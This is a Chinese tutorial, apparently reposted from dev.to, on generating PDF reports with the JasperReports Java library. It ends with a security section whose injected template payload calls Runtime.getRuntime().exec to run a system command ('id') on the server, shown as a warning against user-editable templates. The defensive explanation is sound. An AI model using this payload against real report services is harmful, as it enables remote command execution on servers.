JasperReports库的基本介绍
来源:dev.to
时间:2024-12-26 18:49:18 267浏览 收藏
编程并不是一个机械性的工作,而是需要有思考,有创新的工作,语法是固定的,但解决问题的思路则是依靠人的思维,这就需要我们坚持学习和更新自己的知识。今天golang学习网就整理分享《JasperReports库的基本介绍》,文章讲解的知识点主要包括,如果你对文章方面的知识点感兴趣,就不要错过golang学习网,在这可以对大家的知识积累有所帮助,助力开发能力的提升。
1。简介
在实践中,我们看到以某种格式统计和导出数据的请求是很常见的。例如,我们收到导出客户统计报告、销售发票、采购发票等的请求,这需要人们(尤其是程序员)创建软件,您可以根据每个具体情况和要求灵活创建导出数据的模板。你可能立刻想到的解决方案是使用word、excel……,但是这种解决方案不适合大量不断变化、短时间内发展的数据,同时还需要支付软件费用和数据处理时间不是最佳的。
目前有一个相当流行的解决方案——很多程序员都喜欢使用的jasperreports库。
特别是,这个库是开源的,并且有免费版本。您可以访问其源代码:https://github.com/tibcosoftware/jasperreports
2。使用说明
关于如何使用这个库网上有很多说明,这里就不详细写了
如果您使用 eclipse,jasperreports 有一个额外的插件可以帮助您创建报告模板。
在这篇文章中,我将指导您在intellij idea上使用它,库管理器是maven。
首先,您需要一个模板来填写数据(如订单、发票等)。为此,请下载并安装 jaspersoft studio 软件(当前最新的社区版本链接为 https://community.jaspersoft.com/files/file/19-jaspersoft®-studio-community-edition/?do=getnewcomment).
安装并打开后,软件会有如下界面:
要创建新模板,请转到文件 -> 新建 -> jasper 报告。在“全部”部分中,选择“空白 a4”(或您喜欢的其他模板:>)。
单击“下一步”,指定文件的保存位置。单击下一步 -> 下一步 -> 完成。出现的新界面是模板界面,您可以根据自己的模板自由设计。
右侧是库支持的对象。
假设我必须创建一个带有标题和商品名称的简单购买发票表格。我将“静态文本”对象拖放到模板中,并输入名称“采购发票”(您可以在屏幕右上角自行调整格式)。
接下来,我再拖动 2 个类似的对象,但将项目类别设置在“书籍”和“钢笔”下方。
接下来我必须添加这 2 件商品的价格。这个值是动态的,所以我必须在这里放置一个变量(这也是这个库的一个非常有趣和灵活的功能)。在大纲部分、参数部分中,右键单击并选择“创建参数”。然后我在右角窗口修改了这个变量的值,变量名为book,数据类型为实数。
然后我将其拖放到“book”标签旁边。与变量“笔”和总量相同。这里你可以分配的总金额等于变量“book”和“pen”的总和。
完成模板后,它会是这样的
您切换到源选项卡,这是系统将处理的数据。基本上,jasper report 将以类似于 xml 的文件格式接收输入数据,但标签名称将由库预先定义。例如,整个文件的超类的开始和结束标记必须是“jasperreport”标记。以下是一些必须注意的模板符号:
- “$p{}”:动态添加到报表中的数据,可以是键值对,可以是数据源。
- “$f{}”:从数据源添加到报告的复杂数据字段。
- “$v{}”:根据现有表达式自动生成数据或手动添加数据。 ... 您可以阅读更多内容 (https://www.tutorialspoint.com/jasper_reports/jasper_report_expression.htm)
完成后,您可以开始将此文件复制到您的项目中以填充数据并进行处理。
然后继续导入以下库:
<dependency> <groupid>net.sf.jasperreports</groupid> <artifactid>jasperreports</artifactid> <version>6.21.0</version> </dependency> <dependency> <groupid>net.sf.jasperreports</groupid> <artifactid>jasperreports-fonts</artifactid> <version>6.21.0</version> </dependency>
继续编写代码导入文件并填充数据。
final string outputfilename = "report.pdf"; files.deleteifexists(new file(outputfilename).topath()); inputstream inputstream = main.class.getresourceasstream("/report.jrxml"); map<string, object> parameters = new hashmap<>(); parameters.put("book", 55000); parameters.put("pen", 11111.1111); jasperreport jasperreport = jaspercompilemanager.compilereport(inputstream); jasperprint jasperprint = jasperfillmanager.fillreport(jasperreport, null, new jremptydatasource()); jasperexportmanager.exportreporttopdffile(jasperprint, outputfilename);
这里,因为我们直接填充,所以可以使用map类。如果你想从数据源(database,...)填充数据,可以参考(https://www.baeldung.com/spring-jasper).
结果如下
3。安全编程
因为在渲染这个模板的过程中,库也会执行其中的函数,所以如果用户可以自定义模板标签,攻击者就会添加可以执行命令的恶意标签。此错误与 ssti 非常相似。
假设允许用户直接编辑模板。源码如下:
final string outputfilename = "out.pdf"; files.deleteifexists(new file(outputfilename).topath()); string input = ""; string template = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<jasperreport xmlns=\"http://jasperreports.sourceforge.net/jasperreports\" xmlns:xsi=\"http://www.w3.org/2001/xmlschema-instance\" xsi:schemalocation=\"http://jasperreports.sourceforge.net/jasperreports http://jasperreports.sourceforge.net/xsd/jasperreport.xsd\" name=\"z\" pagewidth=\"500\" pageheight=\"1200\" columnwidth=\"270\">\n" + input + "</jasperreport>"; inputstream inputstream = new bytearrayinputstream(template.getbytes()); jasperreport jasperreport = jaspercompilemanager.compilereport(inputstream); jasperprint jasperprint = jasperfillmanager.fillreport(jasperreport, null, new jremptydatasource()); jasperexportmanager.exportreporttopdffile(jasperprint, outputfilename);
攻击者填充恶意函数来控制系统:
String input = "<parameter name=\"cmd\" class=\"java.lang.String\">\n" + " <defaultValueExpression>\"id\"</defaultValueExpression>\n" + " </parameter>\n" + " \n" + " <group name=\"grp\">\n" + " <groupExpression><![CDATA[true]]></groupExpression>\n" + " <groupHeader>\n" + " <band height=\"1100\">\n" + " <textField>\n" + " <reportElement height=\"1000\" width=\"500\" x=\"120\" y=\"26\" forecolor=\"#222222\"/>\n" + " <textFieldExpression class=\"java.lang.String\">\n" + " <![CDATA[new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec($P{cmd}).getInputStream())).readLine()]]>\n" + " </textFieldExpression>\n" + " </textField>\n" + " </band>\n" + " </groupHeader>\n" + " </group>\n";
结果,命令被执行。文件“out.pdf”包含以下内容:
所以程序员也必须小心,不要让用户直接在模板中输入内容。
另外,该库在旧版本中也存在漏洞(cve-2018-18809、cve-2022-42889、...),编程时应注意使用最新版本。定期更新。
理论要掌握,实操不能落!以上关于《JasperReports库的基本介绍》的详细介绍,大家都掌握了吧!如果想要继续提升自己的能力,那么就来关注golang学习网公众号吧!
-
501 收藏
-
501 收藏
-
501 收藏
-
501 收藏
-
501 收藏
-
124 收藏
-
364 收藏
-
290 收藏
-
134 收藏
-
475 收藏
-
417 收藏
-
- 前端进阶之JavaScript设计模式
- 设计模式是开发人员在软件开发过程中面临一般问题时的解决方案,代表了最佳的实践。本课程的主打内容包括JS常见设计模式以及具体应用场景,打造一站式知识长龙服务,适合有JS基础的同学学习。
- 立即学习 542次学习
-
- GO语言核心编程课程
- 本课程采用真实案例,全面具体可落地,从理论到实践,一步一步将GO核心编程技术、编程思想、底层实现融会贯通,使学习者贴近时代脉搏,做IT互联网时代的弄潮儿。
- 立即学习 507次学习
-
- 简单聊聊mysql8与网络通信
- 如有问题加微信:Le-studyg;在课程中,我们将首先介绍MySQL8的新特性,包括性能优化、安全增强、新数据类型等,帮助学生快速熟悉MySQL8的最新功能。接着,我们将深入解析MySQL的网络通信机制,包括协议、连接管理、数据传输等,让
- 立即学习 497次学习
-
- JavaScript正则表达式基础与实战
- 在任何一门编程语言中,正则表达式,都是一项重要的知识,它提供了高效的字符串匹配与捕获机制,可以极大的简化程序设计。
- 立即学习 487次学习
-
- 从零制作响应式网站—Grid布局
- 本系列教程将展示从零制作一个假想的网络科技公司官网,分为导航,轮播,关于我们,成功案例,服务流程,团队介绍,数据部分,公司动态,底部信息等内容区块。网站整体采用CSSGrid布局,支持响应式,有流畅过渡和展现动画。
- 立即学习 484次学习